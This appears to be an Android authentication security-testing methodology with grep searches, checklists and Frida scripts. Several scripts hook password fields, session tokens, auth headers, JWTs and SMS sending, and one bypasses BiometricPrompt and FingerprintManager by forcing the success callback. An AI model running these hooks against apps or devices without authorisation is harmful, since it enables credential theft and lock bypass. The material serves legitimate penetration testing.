Authentication Security Testing Methodology
Authentication testing focuses on verifying the security of user authentication mechanisms, session management, and biometric authentication implementations.
Authentication Flow Analysis
Static Analysis
# Search for authentication classes
grep -rniE "(login|authenticate|signin|auth)" jadx_output/ --include="*.java"
# Find session management
grep -rniE "(session|token|jwt|bearer)" jadx_output/ --include="*.java"
# Biometric authentication
grep -rniE "(BiometricPrompt|FingerprintManager|biometric)" jadx_output/ --include="*.java"Authentication Monitoring
frida_run_script(pid, """
Java.perform(function() {
console.log('[*] Authentication Monitoring Active');
// Search for common auth class patterns
var authPatterns = ['auth', 'login', 'session', 'credential'];
Java.enumerateLoadedClasses({
onMatch: function(className) {
var lower = className.toLowerCase();
for (var i = 0; i < authPatterns.length; i++) {
if (lower.indexOf(authPatterns[i]) !== -1) {
console.log('[AUTH] Found class: ' + className);
break;
}
}
},
onComplete: function() {}
});
});
""")Credential Handling
Credential Storage Analysis
# Check SharedPreferences for credentials
prefs = dump_shared_prefs("com.target.app")
# Check databases
databases = dump_databases("com.target.app")
# Search for credential-related data
# Look for: password, pin, token, session, authRuntime Credential Capture
frida_run_script(pid, """
Java.perform(function() {
// Hook EditText for password fields
var EditText = Java.use('android.widget.EditText');
EditText.getText.implementation = function() {
var text = this.getText();
var inputType = this.getInputType();
// Check if password field (inputType includes TYPE_TEXT_VARIATION_PASSWORD)
if ((inputType & 0x80) !== 0 || (inputType & 0x10) !== 0) {
console.log('[CRED] Password field value: ' + text.toString());
}
return text;
};
// Hook common login methods
// Pattern: login(String username, String password)
Java.enumerateLoadedClasses({
onMatch: function(className) {
try {
var clazz = Java.use(className);
var methods = clazz.class.getDeclaredMethods();
for (var i = 0; i < methods.length; i++) {
var methodName = methods[i].getName().toLowerCase();
if (methodName.indexOf('login') !== -1 ||
methodName.indexOf('authenticate') !== -1 ||
methodName.indexOf('signin') !== -1) {
console.log('[AUTH] Found method: ' + className + '.' + methods[i].getName());
}
}
} catch (e) {}
},
onComplete: function() {}
});
});
""")Session Management Testing
Session Token Analysis
frida_run_script(pid, """
Java.perform(function() {
// Hook SharedPreferences for token storage
var SharedPrefs = Java.use('android.app.SharedPreferencesImpl');
SharedPrefs.getString.implementation = function(key, defValue) {
var value = this.getString(key, defValue);
var keyLower = key.toLowerCase();
if (keyLower.indexOf('token') !== -1 ||
keyLower.indexOf('session') !== -1 ||
keyLower.indexOf('auth') !== -1) {
console.log('[SESSION] Retrieved: ' + key + ' = ' + value);
}
return value;
};
// Hook HTTP headers for tokens
try {
var Request = Java.use('okhttp3.Request');
var RequestBuilder = Java.use('okhttp3.Request$Builder');
RequestBuilder.addHeader.implementation = function(name, value) {
console.log('[HTTP] Header: ' + name + ': ' + value);
if (name.toLowerCase() === 'authorization') {
console.log('[SESSION] Auth header: ' + value);
}
return this.addHeader(name, value);
};
} catch (e) {}
});
""")JWT Token Analysis
frida_run_script(pid, """
Java.perform(function() {
// Decode JWT tokens
function decodeJWT(token) {
try {
var parts = token.split('.');
if (parts.length !== 3) return null;
var header = JSON.parse(Java.use('java.lang.String').$new(
Java.use('android.util.Base64').decode(parts[0], 0)));
var payload = JSON.parse(Java.use('java.lang.String').$new(
Java.use('android.util.Base64').decode(parts[1], 0)));
console.log('[JWT] Header: ' + JSON.stringify(header));
console.log('[JWT] Payload: ' + JSON.stringify(payload));
// Check for security issues
if (header.alg === 'none') {
console.log('[!] CRITICAL: JWT uses "none" algorithm');
}
if (header.alg === 'HS256') {
console.log('[!] WARNING: JWT uses HS256 (symmetric)');
}
if (payload.exp) {
var expDate = new Date(payload.exp * 1000);
console.log('[JWT] Expires: ' + expDate.toISOString());
}
return { header: header, payload: payload };
} catch (e) {
return null;
}
}
// Monitor string comparisons for JWT
var String = Java.use('java.lang.String');
String.startsWith.overload('java.lang.String').implementation = function(prefix) {
if (this.toString().indexOf('eyJ') === 0) {
console.log('[JWT] Token found: ' + this.toString().substring(0, 50) + '...');
decodeJWT(this.toString());
}
return this.startsWith(prefix);
};
});
""")Session Security Tests
Session Timeout
- Does session expire after inactivity?
- Is timeout enforced server-side?
Session Invalidation
- Is session invalidated on logout?
- Is token revoked server-side?
Concurrent Sessions
- Are multiple sessions allowed?
- Is old session invalidated on new login?
Session Fixation
- Is new session ID issued after login?
- Is session regenerated on privilege change?
Biometric Authentication Testing
BiometricPrompt Bypass
frida_run_script(pid, """
Java.perform(function() {
console.log('[*] Biometric Bypass Loaded');
// Android BiometricPrompt
try {
var BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');
BiometricPrompt.authenticate.overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback').implementation = function(cancel, executor, callback) {
console.log('[BIO] BiometricPrompt.authenticate() intercepted');
// Trigger success callback
var AuthenticationResult = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
var result = AuthenticationResult.$new(null);
executor.execute(Java.registerClass({
name: 'com.frida.SuccessRunner',
implements: [Java.use('java.lang.Runnable')],
methods: {
run: function() {
callback.onAuthenticationSucceeded(result);
}
}
}).$new());
console.log('[BIO] Success callback triggered');
};
} catch (e) {
console.log('BiometricPrompt not found');
}
// AndroidX BiometricPrompt
try {
var BiometricPromptX = Java.use('androidx.biometric.BiometricPrompt');
BiometricPromptX.authenticate.overload('androidx.biometric.BiometricPrompt$PromptInfo').implementation = function(info) {
console.log('[BIO] AndroidX BiometricPrompt.authenticate() intercepted');
return this.authenticate(info);
};
} catch (e) {
console.log('AndroidX BiometricPrompt not found');
}
// Legacy FingerprintManager
try {
var FingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');
FingerprintManager.authenticate.implementation = function(crypto, cancel, flags, callback, handler) {
console.log('[BIO] FingerprintManager.authenticate() intercepted');
// Trigger success
var AuthenticationResult = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationResult');
var result = AuthenticationResult.$new(crypto, null, 0);
callback.onAuthenticationSucceeded(result);
console.log('[BIO] Fingerprint bypassed');
};
} catch (e) {
console.log('FingerprintManager not found');
}
});
""")Biometric Security Checks
| Check | Description | Finding |
|---|---|---|
| CryptoObject binding | Biometric tied to crypto key | Missing = High risk |
| Server verification | Result verified by server | Missing = Critical |
| Fallback mechanism | Secure PIN/password fallback | Weak = Medium risk |
| setNegativeButtonText | Cancel option present | n/a |
Password Policy Testing
Password Requirements Analysis
frida_run_script(pid, """
Java.perform(function() {
// Hook password validation methods
Java.enumerateLoadedClasses({
onMatch: function(className) {
if (className.toLowerCase().indexOf('password') !== -1 ||
className.toLowerCase().indexOf('validator') !== -1) {
try {
var clazz = Java.use(className);
var methods = clazz.class.getDeclaredMethods();
methods.forEach(function(method) {
var name = method.getName();
if (name.toLowerCase().indexOf('valid') !== -1 ||
name.toLowerCase().indexOf('check') !== -1) {
console.log('[PASS] Validator: ' + className + '.' + name);
}
});
} catch (e) {}
}
},
onComplete: function() {}
});
});
""")Password Security Tests
Minimum Length
- Less than 8 characters = Weak
- 8-12 characters = Acceptable
- 12+ characters = Strong
Complexity Requirements
- Uppercase, lowercase, numbers, special chars
Password Storage
- Plaintext = Critical
- MD5/SHA1 = High risk
- bcrypt/scrypt/Argon2 = Acceptable
Brute Force Protection
- Rate limiting
- Account lockout
- CAPTCHA
Multi-Factor Authentication Testing
MFA Flow Analysis
frida_run_script(pid, """
Java.perform(function() {
// OTP/TOTP monitoring
var otpPatterns = ['otp', 'totp', 'mfa', '2fa', 'verification', 'code'];
Java.enumerateLoadedClasses({
onMatch: function(className) {
var lower = className.toLowerCase();
for (var i = 0; i < otpPatterns.length; i++) {
if (lower.indexOf(otpPatterns[i]) !== -1) {
console.log('[MFA] Found class: ' + className);
break;
}
}
},
onComplete: function() {}
});
// SMS interception
try {
var SmsManager = Java.use('android.telephony.SmsManager');
SmsManager.sendTextMessage.implementation = function(dest, sc, text, sentIntent, deliveryIntent) {
console.log('[SMS] Sending to: ' + dest);
console.log('[SMS] Message: ' + text);
return this.sendTextMessage(dest, sc, text, sentIntent, deliveryIntent);
};
} catch (e) {}
});
""")MFA Security Tests
SMS OTP
- SIM swap vulnerability
- OTP length (6+ digits)
- OTP expiration
- Rate limiting
TOTP
- Proper secret storage
- Time synchronization
- Backup codes security
Push Notification
- Approved device verification
- Man-in-the-middle resistance
MFA Bypass
- Can MFA be skipped?
- Recovery flow security
- Remember device functionality
Authentication Checklist
Credential Security
- Passwords not stored in plaintext
- Secure password hashing (bcrypt/scrypt/Argon2)
- No hardcoded credentials
- Secure credential transmission
Session Management
- Session timeout implemented
- Session invalidation on logout
- Server-side session validation
- Secure session token generation
- Protection against session fixation
Biometric Authentication
- CryptoObject binding
- Server-side verification
- Secure fallback mechanism
- Not bypassable via Frida
Password Policy
- Minimum length requirement
- Complexity requirements
- Brute force protection
- Password history (no reuse)
Multi-Factor Authentication
- MFA enforced for sensitive operations
- Secure MFA implementation
- Rate limiting on MFA attempts
- Secure recovery process
Common Findings
| Finding | Severity | MASTG Reference |
|---|---|---|
| Credentials in plaintext | Critical | MASTG-TEST-0001 |
| Biometric bypass possible | High | MASTG-TEST-0015 |
| No server-side session validation | High | MASTG-TEST-0016 |
| JWT with weak algorithm | High | MASTG-TEST-0016 |
| No session timeout | Medium | MASTG-TEST-0016 |
| Weak password policy | Medium | MASTG-TEST-0017 |
| MFA bypass possible | High | MASTG-TEST-0018 |
| Session not invalidated on logout | Medium | MASTG-TEST-0016 |